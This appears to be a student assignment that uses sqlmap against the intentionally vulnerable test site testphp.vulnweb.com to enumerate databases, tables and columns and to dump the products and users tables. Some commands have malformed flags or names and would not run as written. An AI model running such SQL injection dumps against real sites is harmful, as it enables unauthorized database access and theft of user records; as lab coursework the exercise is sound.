**ASSIGNMENT: 1**

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Link of vulnerable website:

http://testphp.vulnweb.com  
  
**1.  
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 –dbs**

We use this command to list all the databases of the vulnerable site.  
This command returned 2 databases, mentioned below.  
1. Acuart.  
2. Information schema.

**2.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart –tables**

We use this command to access the tables in the acuart database by specifying its name in the sqlmap query.

**3.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D information schema --tables**

We use this command to access the tables in the information schema database by specifying its name in the sqlmap query.

(Both the second and third query returns the list of tables in the two databases)

**4.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns**

We use this query to obtain the attributes and its datatypes of the table users in the database acuart by specifying both the DB name and table in the query.

**5.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --columns**

We use this query to obtain the attributes and its datatypes of all tables one by one in the DB.

**6.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T products -dump**

We use the dump method to retrieve the information from the tables. In the above query we get the information of table products.

**7.   
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -dump**

In the above query we get the information of table users using dump.